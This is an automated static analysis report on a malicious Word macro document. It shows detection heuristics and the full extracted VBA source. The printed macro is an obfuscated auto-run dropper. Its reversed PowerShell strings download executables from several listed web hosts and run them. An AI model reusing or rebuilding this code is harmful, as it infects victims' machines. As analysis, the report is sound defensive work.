Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a363163125240eac…

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-05-07 11:56:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: a74b465a50a73e0672f7fd986741aa49 SHA-1: 6b5f4a30d933ca1edfb5d5c21438dab8d013544b SHA-256: a363163125240eac318e8983add95ce358d2a09b59ef8adcd7b3c411671e8ff0
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands or download additional payloads. The 'macros.bas' file is identified as the source of these macros. The Autoopen macro is also present, suggesting automatic execution upon opening the document.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6565341-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6565341-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 147389 bytes
SHA-256: 9f15674eaeaa6f2328b5f7f02a197687f32452bdf4d5e1eb3459975e2d95d7bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
711 of 1209 identifiers look randomly generated (e.g. 'c5f08d9e224f43edb613f018d9f6a382'); 111 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wrQXOmivkYFzp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub BzkMfC(ciuCEs)
Set wvKoC = jquQUh
zSQkzr = IzEBlr
BAjXln = UHlwR + Atn(SKETrz) + 19493 - 61678 / (19079 * Hex(JCNwM))
rJCKGi = 80726 + tjuld
End Sub
Sub ioiHd(vlKohw)
Set mWUXqu = PcuHd
UpaHDY = wiVUF
OAGzO = JnCrYL + Atn(qFwCt) + 51981 - 57517 / (80142 * Hex(GKCkIu))
EBzRXj = 43890 + dfiUA
Set zBwAi = Bjbtcd
uvwiTP = wqYtfJ
mZNwJp = IJGja + Atn(rXaGpu) + 91870 - 53976 / (27231 * Hex(BKFHSH))
CUYNPG = 25745 + SoZmmp
Set tRBaQS = lOGYs
mEisB = EPBkcR
JXGWp = rHQnFr + Atn(KwjKGr) + 27278 - 2509 / (20202 * Hex(GjlFl))
rhZJDJ = 62837 + rRwBEV
End Sub
Sub cAKWG(rdlCLw)
Set zpEWG = ZFfinA
ETpuM = owdfbj
wAEoGr = XfBMZ + Atn(bwLwSW) + 41344 - 78425 / (53597 * Hex(oqqOJ))
WKdmb = 58584 + Brbvq
Set YRcURW = kjNENq
cQzQd = JIrjn
wXKFr = fuCGLV + Atn(sQcpz) + 47645 - 48119 / (71519 * Hex(wltKS))
kQathz = 48869 + abWii
End Sub
Sub Autoopen()
On Error Resume Next
Set TWEcsl = hTuKOi
bYMjIq = mfRoa
vBObu = pnajRS + Atn(ECwjjT) + 28658 - 70087 / (88954 * Hex(OpWrl))
qnoRSo = 62439 + TPXtB
llntqwANwip (ruNbl + KwtIbvZOY + qziUL)
Set BzzlYw = GjtdB
QWsMT = VjtKUc
GiqqFT = jnhEh + Atn(YpuRwR) + 23368 - 23435 / (41160 * Hex(zmOYqz))
ofJds = 48563 + toJwf
End Sub
Sub onfcXj(bLCQik)
Set tDqvPk = sZYNjQ
XKIQjs = JHlAKK
cdtuHf = pzNhu + Atn(wOGOqP) + 20881 - 7321 / (3354 * Hex(zBswjv))
uEawP = 91396 + TZkHhM
Set jmuAuB = Juzcb
tsPjnu = ScUwjT
vRfDVp = QPzwou + Atn(kKaWoL) + 73621 - 50185 / (19163 * Hex(UnUbG))
vTbab = 84765 + vGmlc
Set RmwAKi = tcsHo
HdjiU = KwBdM
GsuiP = aJwsP + Atn(nKtoX) + 36967 - 52113 / (38418 * Hex(FklMYR))
SiPIl = 63413 + pXONq
End Sub
Sub iYPOOv(cVbiC)
Set hBIJSr = LrScGj
GERIG = mHhUWw
HlzDjG = zChNwW + Atn(VnGmI) + 59168 - 78973 / (6630 * Hex(DScRG))
TnnUNd = 49241 + OvzqGE
End Sub

Attribute VB_Name = "DMkfQUaiOT"
Sub DNtkEp(ZitabI)
Set wsrqIo = wBAGsl
GtFYBZ = MBdrK
hWddk = DUbjsF + Atn(FEMtiM) + 6324 - 93791 / (37193 * Hex(oBaiCk))
NwwkBc = 44923 + WQiVi
End Sub
Function KwtIbvZOY()
On Error Resume Next
Set NTVTV = IzfHH
jpbJt = kjVtH
EcoWHv = bofai + Atn(OhjjO) + 37841 - 82387 / (55261 * Hex(vhvNWj))
uoUMaP = 86159 + mrjmf
Set KzZzHb = DuTIuI
bjrnS = lAXkVa
IDQuKu = TzIjKw + Atn(PkfWL) + 47122 - 22760 / (79779 * Hex(LSqBu))
cpihr = 36111 + iYwAjp
PBudPTUtD = AmFvzi("aYDa5t'+'SoTS7j.cfsaMT'+'2(S7jelWvRIFdaOWvRlnWW'+'vRoD'+'S7j.UYYMT8kK", 46069 - 46069 + 4 + 46069 - 46069, 46069 - 46069 + 61 + 46069 - 46069)
Set aHcUiV = rNJBX
uFcUt = JXTFdG
QFHYLr = NiDpW + Atn(YskbV) + 60747 - 38063 / (33 * Hex(ZviHz))
FHBzNv = 10752 + kpwJC
Set AapKk = hNZDZq
DFzHYL = bCffKE
GQbVYi = RlHaO + Atn(IrPfN) + 27848 - 70476 / (46487 * Hex(uLkpW))
wuKAjM = 52251 + ziBIFm
RwjNCZQk = AmFvzi("ck3FN+3FNen3FN('+'. = UYYMT2;'+'modna'+'r )3FNt3'+'F8@tn1", 10343 - 10343 + 6 + 10343 - 10343, 10343 - 10343 + 50 + 10343 - 10343)
Set qjJCi = mASwTC
WQkiLb = qzaiz
vSzLGi = vEibno + Atn(LurDM) + 20175 - 69918 / (50703 * Hex(zTwiTd))
GbFBoT = 5198 + qoQvR
Set DKpUjj = LBfiNn
vcTZI = zHoqz
ErskZO = EoFPzd + Atn(wvKMh) + 9028 - 92769 / (25250 * Hex(IDOmq))
wVwXjf = 9044 + RGPSj
ptnaSrWTw = AmFvzi("m0W3'+'FN@3FN(tilpS'+'.3FN'+'/dtVVs/m0,bv", 73781 - 73781 + 5 + 73781 - 73781, 73781 - 73781 + 34 + 73781 - 73781)
Set pNTwvc = wcJsA
fjjKcE = rkQct
sbtGRm = dVukS + Atn(Nhztpf) + 67277 - 78478 / (47958 * Hex(lvmNOr))
zqDNk = 49820 + VrGnM
Set bzWJL = BMlrE
WCnat = vEtsW
DNkcDi = TnpQCG + Atn(CFuHsj) + 20320 - 30186 / (65476 * Hex(fjksai))
jctGz = 78714 + JCKlN
CozlroMK = AmFvzi("dic9q'+'o'+'c.'+'anicileyu'+'b//:ptth'+'@/'+'sYjn/mo'+'c.'+'on'+'abrula'+'usiv/'+'/'+':pt'+'th@/8lgMSUR", 19072 - 19072 + 3 + 19072 - 19072, 19072 - 19072 + 96 + 19072 - 19072)
Set mkUuGq = mAqSn
qzWwot = ihZMs
QVzpV = BBHvM + Atn(lkYYim) + 53062 - 35703 / (35021 * Hex(bmEVsI))
FKICB = 48282 + oKUtli
Set qHzwW = IjIUZA
jZjBVj = DYsim
cbkDa = vsFOa + Atn(fFqTN) + 28905 - 31639 / (63848 * Hex(jiPMK))
HBSORM = 14745 + jwEuP
UzMPEt = AmFvzi("oKiiSb%g/moc.ymeda'+'ca'+'sdl'+'ihca//:ptt'+'h@/'+'5dV'+'i'+'/'+'moc.sm'+'ae'+'ZQ", 66986 - 66986 + 3 + 66986 - 66986, 66986 - 66986 + 72 + 66986 - 66986)
Set taKFi = iYjLdR
DszUq = kornz
KYtJU = UBcRJ + Atn(KhVwi) + 33409 - 13561 / (71661 * Hex(HESjiO))
fPCnLv = 38823 + lPOCI
Set fDmPL = wGBcdv
oOvVj = ItOVE
KJrwRU = SNPMj + Atn(KRzkbL) + 87692 - 62632 / (55624 * Hex(KFXlzh))
RiilB = 39363 + KjHcc
ZhbDKA = AmFvzi("rsu2'+'{yrt{)XCDA'+'MT2 '+'ni c'+'f'+'saMT2(hcaerof;)'+'3FNe3'+'F'+'N+3FNxe.3F'+'N( + BSNMT2'+' +'+' 3FNNpP3'+'F'+'N + cil'+'bup:vne'+'MT2 = '+'CD'+'SMT2'+';'+')O 5", 31830 - 31830 + 4 + 31830 - 31830, 31830 - 31830 + 158 + 31830 - 31830)
Set ZCMWZH = JmJLz
VhqtjD = BzdBNI
uarDRD = NHtAMq + Atn(CiYWn) + 37842 - 97264 / (45421 * Hex(pYYru))
ZKJQJN = 66840 + GttAHa
Set iOBHVV = srqcM
VEHua = bSZjfD
DRrmz = wXriN + Atn(FKilrz) + 46926 - 37579 / (32834 * Hex(UdLDDG))
FiWDQ = 35641 + BEsKO
XMkjFq = AmFvzi("OrU9A)3FVi", 94917 - 94917 + 3 + 94917 - 94917, 94917 - 94917 + 3 + 94917 - 94917)
Set iauzVU = jhiGkn
wNbuO = zlwqro
fkmENF = IujLhi + Atn(rXzQT) + 56324 - 3736 / (11645 * Hex(czwWhs))
EIjcNv = 90537 + tiDICi
Set BTiSLw = zvsYBR
zYpNN = GbAkrR
ozZFX = FzthI + Atn(NucHr) + 24373 - 88457 / (9639 * Hex(zwMcQt))
ZTubuo = 5745 + VmBwLM
zlkKtuEut = AmFvzi("@.Mb3LN+3Fn0f", 31373 - 31373 + 4 + 31373 - 31373, 31373 - 31373 + 4 + 31373 - 31373)
Set rhuAz = UIXzMf
BNcHLi = amjYY
dlFLzt = rGiiP + Atn(vFKWdh) + 18427 - 23639 / (94826 * Hex(Jukho))
EAVcFB = 67421 + MzTNz
Set OjhaPY = AOtHL
KVjwu = aJhZC
HsCZjs = dvdYAd + Atn(QfGrf) + 41821 - 13728 / (90444 * Hex(iAPwE))
jhGffI = 60758 + ahANh
qBUaCiHfTIF = AmFvzi("J@wC0%V[((ecAlPEr.)'\',)87]RaHC[+211]RaHC[+08]RaHC[((ecAlPEr.)'$',)77]RaHC[+48]RaHC[+05]RaHC[((ecAlPEr.)69]RaHC[]gnirTs[,'WvR'(ecAlPEr.)93]RaHC[]gnirT@f", 90242 - 90242 + 3 + 90242 - 90242, 90242 - 90242 + 143 + 90242 - 90242)
Set jwjUlt = CpujnM
UZQto = LwRUwB
RjKiHZ = mlTvM + Atn(khsMz) + 83617 - 91227 / (12005 * Hex(BQHZjQ))
fLVkId = 43302 + QYOumj
Set fRKwZ = ScClE
jfwwW = OTpRv
ZSoJmw = EdOwf + Atn(FAEAOG) + 17690 - 48570 / (90924 * Hex(kjAaRE))
jOVaYH = 26197 + qGiAf
zwQmN = AmFvzi("D%qr'+'d-deifilpma/'+'/:ptt'+'h '+' 3FN = XCDA'+'M'+'T2;)33'+'12'+'82'+' ,00001(txen.dsa'+'dasnMT2 = B'+'SNMT2;tneilCbeW'+'.te'+'N.metsyS'+' bsO", 10495 - 10495 + 4 + 10495 - 10495, 10495 - 10495 + 138 + 10495 - 10495)
Set jTNQV = TaKmL
qDZlVl = iijJLj
rqYzaZ = GDQnJ + Atn(ubFDiO) + 89033 - 31069 / (18971 * Hex(EkzAzm))
JBkbSd = 3901 + MmPjz
Set bWqbVv = PiQQbs
nSilbi = qANtTF
kWGCb = MzmhCt + Atn(EYhGB) + 40856 - 11607 / (66396 * Hex(sXOvu))
VdhCpb = 59293 + JOALY
zCJPjP = AmFvzi("kpNtc'+'ejb'+'o'+'-3'+'FN+'+'3FNwEcE1", 15962 - 15962 + 5 + 15962 - 15962, 15962 - 15962 + 31 + 15962 - 15962)
Set jBjiOj = THswz
Zdinfm = cJzADo
MXsBJ = tiqojh + Atn(SBVpE) + 79740 - 95277 / (9978 * Hex(aaVZwN))
BiiaH = 9330 + OqoSkv
Set VwTmWT = FLnKpH
zsNij = RFiFYF
qkwBTk = TwVTV + Atn(HPUZWB) + 42248 - 82139 / (73494 * Hex(lfEFc))
UONQs = 95233 + OmqFw
hfRrhHcEjAi = AmFvzi("FBhs[,)15]RaHC[+07]RaHC[+87]RaHC[((ecAlPEr.)'}}{hctac};k'+'aerb;'+')CDS'+'MT2()3FNme'+'tI-e3FN+3'+'F'+'Nk'+'3F'+'N+3F'+'NovnI3'+'FN(&;)CDS'+'MT2'+' ,)'+'('+'S7jgNWv'+'RiW'+'vR'+'r'+'iDaU", 74986 - 74986 + 5 + 74986 - 74986, 74986 - 74986 + 179 + 74986 - 74986)
Set wXtJj = BkEiWj
EMLVPf = CiGGEG
uGmjw = pnArW + Atn(UafPf) + 82144 - 63353 / (15284 * Hex(IDQbaN))
UQnEZa = 14109 + SCaKuQ
Set NvfjW = zZBfMW
fWUjp = PGorZj
WhIscz = ojfjwX + Atn(swQSmi) + 55432 - 15055 / (34491 * Hex(UfGrIY))
FDhOP = 31407 + COdUv
MaZhwwwo = AmFvzi("pc ))43]RaHC[]gnirTs[,)38]RaHC[+55]RaHC[+601]RaHCcAIr", 22192 - 22192 + 5 + 22192 - 22192, 22192 - 22192 + 47 + 22192 - 22192)
Set llRUWK = YnBMO
LXwrC = LbdvpR
fHPYBI = bMjOm + Atn(wzfSB) + 41098 - 385 / (718 * Hex(lGXbo))
PHqbDt = 58488 + JOADC
Set zfwJQ = WqZhXi
Bcwnt = vpCETA
VPiuXX = kwQYwz + Atn(CQTVvh) + 12096 - 47343 / (16165 * Hex(sSIwTu))
dJjRGL = 59921 + AwcCL
PEosmTvDPf = AmFvzi("jr1,L'y'+'PCSjcB", 77740 - 77740 + 4 + 77740 - 77740, 77740 - 77740 + 8 + 77740 - 77740)
Set rwEsY = iYSdwH
CFOqRE = vmRYwE
MuldVz = BVEDu + Atn(sFqCV) + 99322 - 36878 / (55802 * Hex(mGKwV))
EffvUu = 42848 + hAaKiA
Set oYzIrh = HFUqH
Ybrqqd = YUDSsl
botBn = uPUnVF + Atn(UGirTz) + 3334 - 21208 / (21895 * Hex(TpnIZU))
fPGhf = 36492 + TCdAJ
NuviiLMYDkX = AmFvzi("MGssvt/mo'+'c'+'.'+'troyhcotegamoh//:pt'+'th@/Vd'+EMZ", 68222 - 68222 + 4 + 68222 - 68222, 68222 - 68222 + 46 + 68222 - 68222)
Set EUkib = mLwsj
QzaLzU = vzIFz
onWYQ = BBEkz + Atn(FhHhJ) + 62839 - 44382 / (43363 * Hex(PTlIDI))
NHvOlT = 74060 + QnhWin
Set QaODs = njUFK
iRlzir = FpiUOA
iDvrzU = ruEIQQ + Atn(LhFlc) + 38594 - 19027 / (38273 * Hex(XwrML))
mGADOa = 70946 + dIqIqX
lOnkwDDiNK = AmFvzi("ET4mjVNce'+'jbo-w3FN+3'+'FNe3FN+3F'+'Nn3FN('+'& = d'+'sadasnMT2'( ()''NiOJ-]2,11,3[emaN.)'*rDM*' ElBAIraV((. acK", 22651 - 22651 + 4 + 22651 - 22651, 22651 - 22651 + 103 + 22651 - 22651)
Set pNaVuH = jmjTL
XsFIUK = wINBf
vcdmLS = iilQqQ + Atn(NXNWv) + 30239 - 87129 / (26582 * Hex(CinjPi))
zYqUMw = 11586 + VAOMp
sjGLjLDrDlkaht = pRDluaur + """" + PjhraEX
KwtIbvZOY = vBTBJOQoQY + hwBlsAwMRRNB + XUITmBNMWk + sjGLjLDrDlkaht + BjYdNQkuUHlIRa + lOnkwDDiNK + zlkKtuEut + RwjNCZQk + zCJPjP + XMkjFq + zwQmN + UzMPEt + PEosmTvDPf + NuviiLMYDkX + CozlroMK + ptnaSrWTw + ZhbDKA + PBudPTUtD + hfRrhHcEjAi + qBUaCiHfTIF + MaZhwwwo
Set iEfvzO = QnVwRH
dJjqL = AJNNn
rMpQda = IiMmR + Atn(jTQkI) + 31847 - 97121 / (55638 * Hex(rzFRG))
nVqRI = 18248 + UbXrW
End Function
Sub BPtEi(AAHZQ)
Set RjHau = nqtrG
iwoYz = kEwOu
CIrMk = juwIwM + Atn(LwKwp) + 60409 - 17973 / (16077 * Hex(afjbD))
pLVClo = 45984 + jbFzLM
Set VAbUl = ZFHil
fiLjI = vFkmva
nKdXj = wwzEfE + Atn(RKPGO) + 38692 - 309 / (59496 * Hex(EVuzIP))
piEAF = 96224 + wiXCn
End Sub

Attribute VB_Name = "hdjcBZkpd"
Sub aaqfbQCwlUS()
On Error Resume Next
Set bakuG = cmXip
WaDCT = TXqRMR
aoSwi = QLJdaU + Atn(InFlf) + 8324 - 46562 / (48940 * Hex(FYwGp))
GiKNT = 68126 + UJqoEY
End Sub
Function XUITmBNMWk()
On Error Resume Next
Set MzdhQm = REmIsl
itzco = FbTMBT
Twvqzz = uIvQqC + Atn(odYFaz) + 22193 - 72175 / (30853 * Hex(MPiqld))
fwJMV = 17488 + ItIZZw
Set JiHlhj = DvrCZ
wVwiMi = avZwsk
HJsXi = AqoBb + Atn(DDCEDz) + 57024 - 79347 / (10459 * Hex(ZZrEw))
OEKsz = 21968 + uCTTS
PBudPTUtD = AmFvzi("aYDa5tpBzjr8kK", 35577 - 35577 + 4 + 35577 - 35577, 35577 - 35577 + 6 + 35577 - 35577)
Set GjuGla = YrVwOu
rjTji = sckqi
stHCkf = rwjiS + Atn(dKjXi) + 26297 - 57522 / (5382 * Hex(SKjnpK))
iwDYH = 65656 + QolRDD
Set vsBZSJ = wMIUXj
rcalli = CqtpE
DclEb = dAach + Atn(uksKw) + 23040 - 12211 / (91023 * Hex(XPKzOJ))
sCIjNo = 88199 + bDtJC
RwjNCZQk = AmFvzi("ckBESVsUU=%8@tn1", 31518 - 31518 + 6 + 31518 - 31518, 31518 - 31518 + 9 + 31518 - 31518)
Set Rztbqu = rthjJ
fMaFME = IYTzwF
VjsSws = GPRXXO + Atn(BJbAD) + 99597 - 27504 / (19553 * Hex(whFIa))
jvilEq = 14367 + OnQqY
Set sazCjw = GHiBW
iRFoi = Dbqlu
YGOjh = jfbkVj + Atn(bQPit) + 93038 - 79953 / (82631 * Hex(wSAII))
pCCpDv = 21053 + JaatUq
ptnaSrWTw = AmFvzi("m0WKEWC=%zP0,bv", 93746 - 93746 + 5 + 93746 - 93746, 93746 - 93746 + 8 + 93746 - 93746)
Set zvWXCj = swpFQV
wfYji = ZijjVQ
GITDUz = AXilGO + Atn(JFzzf) + 79045 - 64328 / (25092 * Hex(BMmBCP))
pClIj = 70677 + lkQuIY
Set VMqiBS = LwYBY
IhEvuo = mnbvh
Fpmji = pijsYj + Atn(jwJbIS) + 64250 - 73624 / (92964 * Hex(LorJL))
ikuBzM = 57299 + RqaiC
CozlroMK = AmFvzi("dic9qtes&&s=UR", 1963 - 1963 + 3 + 1963 - 1963, 1963 - 1963 + 7 + 1963 - 1963)
Set pfMFH = cLTcz
JSasq = djAId
rUVkKS = wjXijc + Atn(BvSWRS) + 2757 - 62890 / (5235 * Hex(zZzIF))
YjCiN = 74506 + rBAkBh
Set PELnA = uOUEi
sicrpr = snLlP
QqTCa = KKlBjX + Atn(RHGUWE) + 85832 - 93841 / (78076 * Hex(YrpkGz))
DSvajh = 51154 + tOXVG
UzMPEt = AmFvzi("oKiiSb%sthMo%ZQ", 73883 - 73883 + 3 + 73883 - 73883, 73883 - 73883 + 6 + 73883 - 73883)
Set tTOZJl = pjWQc
uLkEE = CzRcA
ajJcpV = hwfXbK + Atn(MQOlZK) + 13783 - 39110 / (61468 * Hex(IKSIEj))
rNsjFJ = 23274 + BpuQOn
Set BHKjZw = BGEFoO
mTKKC = bWCWv
NFpCQ = aMtYV + Atn(FWSAc) + 86788 - 29694 / (53182 * Hex(wYtzjp))
HiEooT = 71248 + LDnCNC
ZhbDKA = AmFvzi("rsuvhIHO 5", 17209 - 17209 + 4 + 17209 - 17209, 17209 - 17209 + 4 + 17209 - 17209)
Set OwJEj = buJHTc
jwFkN = EOThNl
boYFMO = cKuobJ + Atn(fkvjU) + 82534 - 39448 / (18614 * Hex(wDplw))
uRvTu = 18128 + VDuFCn
Set CwtNp = jLfTqN
PQjpKv = IuLpBZ
uMBEt = UXTNKi + Atn(GAzvq) + 2250 - 82586 / (82262 * Hex(wVhMp))
IkELQR = 79969 + iPzbRs
XMkjFq = AmFvzi("OrU9APMuVi", 43335 - 43335 + 3 + 43335 - 43335, 43335 - 43335 + 3 + 43335 - 43335)
Set SfbfpI = QwAiba
fWhwV = iIwSw
BVjsZ = wWfqF + Atn(AqOUFL) + 64957 - 79984 / (28638 * Hex(wsQiwd))
KjJhY = 14013 + jGaJd
Set MrJOR = ZFrlp
FsEPq = GMOVRW
qNdjf = iQSUQm + Atn(NwdODZ) + 75110 - 64928 / (93381 * Hex(raVhF))
zqamK = 52119 + vZLvH
zlkKtuEut = AmFvzi("@.Mb3L&&eh=%PdZUINDbEn0f", 7581 - 7581 + 4 + 7581 - 7581, 7581 - 7581 + 15 + 7581 - 7581)
Set nXods = IjARr
VtulFK = dQUdq
nmphps = fcIvDz + Atn(PzQzYi) + 5000 - 78237 / (64094 * Hex(KTBmi))
TuziEf = 36385 + KZMDt
Set JmjzQ = wpBUA
LkzFL = DiBSik
LUwIAj = CozPA + Atn(olBOGp) + 89748 - 74670 / (22748 * Hex(GsidM))
SrDzS = 10578 + wjAknU
qBUaCiHfTIF = AmFvzi("J@wC0%VzM@f", 70780 - 70780 + 3 + 70780 - 70780, 70780 - 70780 + 2 + 70780 - 70780)
Set kiEZu = hmLsp
zFsQSG = zVILA
jEDhF = GSpiX + Atn(IitWjf) + 22316 - 20120 / (50588 * Hex(bFQhi))
UAcXEG = 21296 + dEFni
Set cBdUp = vMorMM
ZbRtP = HHzzw
UzHTK = sdVtXq + Atn(TJfYZ) + 21218 - 28133 / (3410 * Hex(ICvjl))
izfEj = 39555 + qosdK
zwQmN = AmFvzi("D%q%hTVfaOqQ%bsO", 49397 - 49397 + 4 + 49397 - 49397, 49397 - 49397 + 10 + 49397 - 49397)
Set iDfDa = vwciY
iwArEY = vfzWOS
EwSqj = AuTQcw + Atn(PpNCQ) + 13392 - 36105 / (96461 * Hex(TwjTD))
ojjRl = 30920 + zflCc
Set JAbATZ = mZuhd
jflOhu = HihTBp
bBqjW = wrDQzq + Atn(OsShlY) + 91765 - 23289 / (8372 * Hex(jSizpa))
IwiCu = 70550 + LKjzrc
zCJPjP = AmFvzi("kp !EcE1", 72312 - 72312 + 5 + 72312 - 72312, 72312 - 72312 + 2 + 72312 - 72312)
Set PrHXO = zhdtL
KGRoz = QjIAL
TIjWar = UbXUbb + Atn(bKUaVl) + 83282 - 44364 / (50965 * Hex(uVjoat))
OfVDG = 62802 + Gluqvn
Set SwEpSF = DOLIJ
RusFSn = ikdIc
jhYIw = CfdPY + Atn(uqiqHj) + 17539 - 27301 / (96047 * Hex(JhwNiX))
hTwNOW = 47063 + FOwHUo
hfRrhHcEjAi = AmFvzi("FBh!iDaU", 74251 - 74251 + 5 + 74251 - 74251, 74251 - 74251 + 1 + 74251 - 74251)
Set TXXwps = uzOGGX
Jjdfkw = cVfUGK
VMGdo = NbplhB + Atn(YwwIP) + 1644 - 77275 / (92198 * Hex(Sbjshr))
scjhc = 48712 + HcSsdh
Set FQSOw = NBGnrc
jkswiO = wicXan
GzMVwh = KIBSr + Atn(jKlTcZ) + 18252 - 23986 / (6206 * Hex(zwXlJ))
ounLAG = 3689 + RuviZc
MaZhwwwo = AmFvzi("pc=%icAIr", 88856 - 88856 + 5 + 88856 - 88856, 88856 - 88856 + 3 + 88856 - 88856)
Set fnfwot = vBdND
PYYwwk = Gific
rBhif = aaRJrm + Atn(jfzmh) + 74132 - 5643 / (36525 * Hex(tWzhoI))
BHzWfC = 15364 + XwacI
Set prNzO = ssUAn
jXikQ = wQCzUL
HjvSz = LWjDJ + Atn(KDbVu) + 46291 - 71683 / (73313 * Hex(lFjwjm))
NTrXBw = 13851 + zZXqcA
PEosmTvDPf = AmFvzi("jr1,L%YOZvbItwK%!jcB", 96195 - 96195 + 4 + 96195 - 96195, 96195 - 96195 + 12 + 96195 - 96195)
Set UZWFp = vIZjZ
VaOTN = iJNLl
LwAYU = vJuil + Atn(cdzJR) + 19824 - 35377 / (77566 * Hex(smAiGJ))
zrqIn = 16692 + sWXoYn
Set FNdzJ = PMuMp
YGAms = WtDFQs
oYiScQ = TGozK + Atn(qATjm) + 74936 - 13978 / (34837 * Hex(EndGr))
qwzwk = 1591 + zhuSv
NuviiLMYDkX = AmFvzi("MGssAEMZ", 30420 - 30420 + 4 + 30420 - 30420, 30420 - 30420 + 1 + 30420 - 30420)
Set oRRCb = jWaTT
libTup = ZLcIo
ZYWCl = Urrdvm + Atn(BnHsQi) + 61763 - 36370 / (98521 * Hex(tdmFv))
EMJdB = 3265 + NToiwm
Set QFoQY = KdmHH
wlVYC = WhrQEt
FKVST = NzFTnj + Atn(OoMQz) + 40901 - 38546 / (73833 * Hex(vtETo))
kJABvz = 36814 + pLSjtP
lOnkwDDiNK = AmFvzi("ET4mjVwIptj=%AacK", 88669 - 88669 + 4 + 88669 - 88669, 88669 - 88669 + 8 + 88669 - 88669)
Set SiosQh = bSiZi
PcNAmX = vTloK
wXEioa = idKPb + Atn(IPihS) + 42549 - 40128 / (70578 * Hex(MzStWz))
wzAiUj = 94038 + ntwHD
Set zRjhA = NjvRac
MirRNU = RhUln
hiXII = wMVpUB + Atn(RcAFaT) + 35489 - 99559 / (32920 * Hex(XqFviF))
wztjM = 66376 + nJrdP
qjaDXjUUh = AmFvzi("YpLM&&ll=%hTVfaOqDfv", 72595 - 72595 + 4 + 72595 - 72595, 72595 - 72595 + 13 + 72595 - 72595)
Set sWPhCq = buRVQ
fzSDn = GDtWI
FtrSRc = jaGBaX + Atn(noqBjY) + 36656 - 92547 / (5643 * Hex(UFDJJ))
zzHlww = 48562 + dpjjp
Set suiJlY = FbpfE
NDjIo = voJjQj
TrjwAX = UEiOpE + Atn(INYCLw) + 3558 - 18116 / (32937 * Hex(JNtRJ))
OOZrEf = 48710 + pIPqIY
DHVqf = AmFvzi("nnVc.jes&&p=%MQjjA", 48566 - 48566 + 3 + 48566 - 48566, 48566 - 48566 + 10 + 48566 - 48566)
Set SkLma = dFlrKZ
ondYKV = AQMYd
vMCiKA = nqdiii + Atn(kIoAuF) + 97404 - 77450 / (4396 * Hex(rjnIRC))
mJmpR = 5253 + jJhmz
Set IzOtnj = ZMbbSn
vhniXZ = PnkUNl
RoqQb = oSuLMq + Atn(pzKNZG) + 47874 - 65474 / (68217 * Hex(FWBwsJ))
YZwhIY = 70749 + qpmdm
wUHCj = AmFvzi("hRsUzj% tes&&EwwOzUjK,", 19192 - 19192 + 5 + 19192 - 19192, 19192 - 19192 + 15 + 19192 - 19192)
Set WhtKQc = vGMki
ktazw = Rnmrw
baCiRl = zCjoH + Atn(chGcTm) + 93407 - 49604 / (26835 * Hex(SQpqU))
pjpuc = 78150 + UNpaf
Set VzYrT = kOUqMC
URjVj = wHriq
jkaqHC = BOZPG + Atn(oMQrl) + 18921 - 38231 / (87439 * Hex(ZXNPm))
cOiThu = 70042 + JYMnsB
GirzhE = AmFvzi("biz,Fiaq9", 71341 - 71341 + 7 + 71341 - 71341, 71341 - 71341 + 1 + 71341 - 71341)
Set vBZSrz = QFUWDJ
DcsPX = zvwZI
OGSZV = smdWnz + Atn(wuwYzK) + 84251 - 50988 / (72796 * Hex(vUYVc))
zFAJmk = 53819 + fwvLXh
Set AuzEp = SAYlf
JERri = kzLmIi
BMuGid = CHBNN + Atn(WdLwa) + 97476 - 90608 / (46413 * Hex(LOChh))
CwOlQV = 76838 + XtuHV
drztLP = AmFvzi("mGtXhiic", 63589 - 63589 + 6 + 63589 - 63589, 63589 - 63589 + 1 + 63589 - 63589)
Set BDEiTO = nPMKn
kBjDz = hALmbw
iRoCfq = ZPHKY + Atn(SWOjC) + 52329 - 56518 / (22075 * Hex(KrpzL))
wqQchi = 60493 + zNjTNk
Set HONLFb = nANTYT
RlPjVL = ArBQjL
BrZzbs = uipjN + Atn(CdHqq) + 49492 - 29824 / (71604 * Hex(avhKE))
XMvVQ = 65641 + InWwbT
bLIIfowT = AmFvzi("naaKVTGwHjOkDk", 40903 - 40903 + 2 + 40903 - 40903, 40903 - 40903 + 7 + 40903 - 40903)
Set DZzHq = XjKZJw
pQiPR = NXVuNz
QUTUuw = OIAzZT + Atn(joBVM) + 38793 - 39541 / (92905 * Hex(JGfnGz))
fkKEaC = 29927 + fLzzhQ
Set Pijdj = TjZBK
HhJpAZ = FEYjZp
YXilA = luiouE + Atn(orZJw) + 97093 - 21483 / (95462 * Hex(XIfZi))
